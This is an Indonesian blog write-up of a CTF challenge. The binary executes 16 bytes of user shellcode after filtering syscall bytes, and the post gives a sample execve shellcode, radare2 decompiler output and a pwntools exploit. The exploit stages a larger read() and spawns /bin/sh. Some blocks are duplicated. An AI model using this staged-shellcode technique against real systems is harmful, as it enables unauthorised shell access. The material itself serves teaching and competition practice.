
Post ini merupakan lanjutan dari post yang sebelumnya yaitu tentang write up CTF KKSI. Oke jadi dalam tantangan ini kita dikasih sebuah linux binary lagi yang menyuruh kita buat masukin shellcode
shellcode itu apa sih ?
shellcode adalah sebuah program kecil yang kita pakai sebagai "payload" dalam celah keamanan, biasanya shellcode digunakan biar kita dapat "reverse shell" atau koneksi balik biar bisa berinteraksi dengan sistemnya.
contoh:
bentuk shellcode itu seperti ini:
\x31\xc0\xbb\x08\x84\x04\x08\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
sekilas mirip dengan nomor hexadecimal tapi kalau kita ubah kembali ke assembly akan seperti ini:
* 8049368: 31 c0 xor %eax,%eax * 804936a: bb 08 84 04 08 mov $0x8048408,%ebx # change it * 804936f: 53 push %ebx * 8049370: 89 e1 mov %esp,%ecx * 8049372: 31 d2 xor %edx,%edx * 8049374: b0 0b mov $0xb,%al * 8049376: cd 80 int $0x80 * 8049378: 00 00 add %al,(%eax)
shellcode itu banyak macamnya tergantung dari target OS kita. Biar lebih ngerti coba pergi ke link ini: http://shell-storm.org/shellcode/
menurut saya kalau mau melakukan pengembangan "exploit", tentunya pembuatan payload merupakan salah satu komponen yang harus anda sangat perhatikan.
tenang saja anda tidak harus bikin shellcode dari awal karena sudah banyak contoh-contoh yang bisa langsung dipakai. Tapi tetap saja kalau kita mau lebih maju atau menjadi pakar, harus belajar cara bikin biar kita bisa memproduksi shellcode sendiri.
Lanjut analisa binari kita dengan melakukan "checksec". Bisa diliat dari gambar dibawah, semua fitur keamanan binari dimatikan semua karena programnya sendiri pun menyuruh kita untuk menaruh shellcode.
coba kita analisa hasil decompiler dari radare2 dari binarinya:
[0x00400601]> pdd
/* r2dec pseudo code output */
/* sandbox @ 0x400601 */
#include <stdint.h>
int32_t main (void) {
uint32_t var_8h;
write (1, "Enter Your Shellcode > ", 0x17);
read (0, obj.shellcode, 0x10); (1)
var_8h = 0;
while (var_8h <= 0x10) {
rdx = obj_shellcode;
rax = var_8h;
rax += rdx;
eax = *(rax);
if (al == 0xb0) { (2)
rax = var_8h;
rdx = rax + 1;
rax = obj_shellcode;
eax = *((rdx + rax));
if (al != 0x3b) { (2)
goto label_0;
}
eax = 0;
kill ();
}
label_0:
rdx = obj_shellcode;
rax = var_8h;
rax += rdx;
eax = *(rax);
if (al == 0xb0) { (2)
rax = var_8h;
rdx = rax + 1;
rax = obj_shellcode;
eax = *((rdx + rax));
if (al != 2) { (2)
goto label_1;
}
eax = 0;
kill ();
}
label_1:
rdx = obj_shellcode;
rax = var_8h;
rax += rdx;
eax = *(rax);
if (al == 0xf) { (2)
rax = var_8h;
rdx = rax + 1;
rax = obj_shellcode;
eax = *((rdx + rax));
if (al != 5) { (2)
goto label_2;
}
eax = 0;
kill ();
}
label_2:
var_8h++;
}
rdx = obj_shellcode; (3)
eax = 0;
void (*rdx)() (); (3)
eax = 0;
return rax;
}
/* r2dec pseudo code output */
/* sandbox @ 0x400601 */
#include <stdint.h>
int32_t main (void) {
uint32_t var_8h;
write (1, "Enter Your Shellcode > ", 0x17);
read (0, obj.shellcode, 0x10); (1)
var_8h = 0;
while (var_8h <= 0x10) {
rdx = obj_shellcode;
rax = var_8h;
rax += rdx;
eax = *(rax);
if (al == 0xb0) { (2)
rax = var_8h;
rdx = rax + 1;
rax = obj_shellcode;
eax = *((rdx + rax));
if (al != 0x3b) { (2)
goto label_0;
}
eax = 0;
kill ();
}
label_0:
rdx = obj_shellcode;
rax = var_8h;
rax += rdx;
eax = *(rax);
if (al == 0xb0) { (2)
rax = var_8h;
rdx = rax + 1;
rax = obj_shellcode;
eax = *((rdx + rax));
if (al != 2) { (2)
goto label_1;
}
eax = 0;
kill ();
}
label_1:
rdx = obj_shellcode;
rax = var_8h;
rax += rdx;
eax = *(rax);
if (al == 0xf) { (2)
rax = var_8h;
rdx = rax + 1;
rax = obj_shellcode;
eax = *((rdx + rax));
if (al != 5) { (2)
goto label_2;
}
eax = 0;
kill ();
}
label_2:
var_8h++;
}
rdx = obj_shellcode; (3)
eax = 0;
void (*rdx)() (); (3)
eax = 0;
return rax;
}
catatan: untuk teman-teman yang belom terlalu tahu tentang radare2, jadi program ini bisa kita modifikasi dengan cara melakukan instalasi "plugin" untuk bisa mengeluarkan hasil decompiler dari function. cek link ini (https://github.com/radareorg/r2dec-js)
perhatikan source code dari radare2 yang saya tebalkan dengan warna merah
(1) pertama-tama program memanggil function read(), yang punya 3 parameter
- parameter 1, itu memasukan "file descriptor" yang punya nilai 0 berarti "stdin"
- parameter 2, variable string yang bakal menampung input kita
- parameter 3, berapa besar ukuran string yang function read() akan baca dalam hal ini adalah "0x10" => 16 bytes
(2) nah ternyata kita ga bisa seenak jidat aja masukin shellcode di programnya soalnya ada beberapa pengecekan karakter.
- cek 1: karakter kita akan dicek dengan 0xb0 dan 0x3b
- cek 2: karakter kita akan dicek lagi dengan 0xb0 dan 0x02
- cek 3: karakter kita akan dicek lagi ! dengan 0x0f dan 0x05
(3) Terakhir shellcode yang kita masukan akan dipanggil atau dieksekusi:
rdx = obj_shellcode;
void (*rdx)() ();
teman2 jangan bingung kalau ketemu kode yang banyak kurung buka dan kurung tutup seperti ini. Simpelnya ini kode hanya main pointer dengan variabel agar variablenya sendiri bisa dieksekusi sebagain function.
oke jadi kita bisa simpulkan:
1. shellcode kita yang masukan cuma bisa panjangnya 16 bytes
2. tidak boleh ada karakter syscall
ada tidak shellcode yang panjangnya 16 bytes ?
ada ! tapi itu kalau binarynya adalah termasuk 32 bit
sedangkan binari yang kita dapat adalah 64 bit
jadi gimana caranya kita bisa bikin ini binari untuk mengambil shellcode kita lebih banyak ?
cara yang saya temukan akan dibagi menjadi dua bagian
1. konsepnya adalah program kita itu punya function read() yang dipakai untuk input, bukan? sebenernya kita bisa pakai lagi bagian kodenya itu dengan diubah menjadi shellcode tapi parameter 3 yang mengatur panjang input kita ubah biar gedean.
2. setelah diubah menjadi shellcode dan dimasukan ke program, akhirnya akan mengeksekusi function read() kedua yang size lebih besar dan disini kita bisa masukan shellcodenya.
Jadi kode akhirnya akan seperti ini:
context.clear(arch="amd64") => dipakai biar pwntools itu biar ngikutin pengaturan arsitektur 64 bit
p = process("./sandbox") => untuk membuka program binari
payload = asm("""
mov edx,0xf0
mov eax,0x4004e0
push rsi
push rax
ret
""") => nah ini adalah bagian kode read function yang kita pakai ulang lagi, bisa dilihat kita mengisi register eax dengan letak function 0x4004e0 yang merupakan letak read function ditaruh di programnya
mov edx,0xf0
mov eax,0x4004e0
push rsi
push rax
ret
""") => nah ini adalah bagian kode read function yang kita pakai ulang lagi, bisa dilihat kita mengisi register eax dengan letak function 0x4004e0 yang merupakan letak read function ditaruh di programnya
lalu kita isi register edx dengan panjang input yang kita inginkan yaitu f0 => 240 bytes
p.sendafter(">",payload) => artinya kita masukan input kita setelah karakter ">" karena ada "prompt" dari program yang tulisannya "masukan shellcode >"
payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
p.sendline(payload)
p.interactive()
sisanya kita hanya membuat shellcode untuk membuka shell "/bin/sh" dan mengubah nya ke representasi hex nya dan terakhir function "interactive" biar bisa kontak dengan shell nya
yess kita berhasil dapat shell nya
tapi mohon maaf saya ga bisa kasih liat flag nya karena baru dapat kodenya setelah kompetesi berlangsung
referensi:
dan write up yang saya baca dari grup whatsapp
Antoni
Anthony Viriya
Yohan Muliono
Anthony Viriya
Yohan Muliono
write up kalian memudahkan hidup saya
Terima kasih
Comments
Post a Comment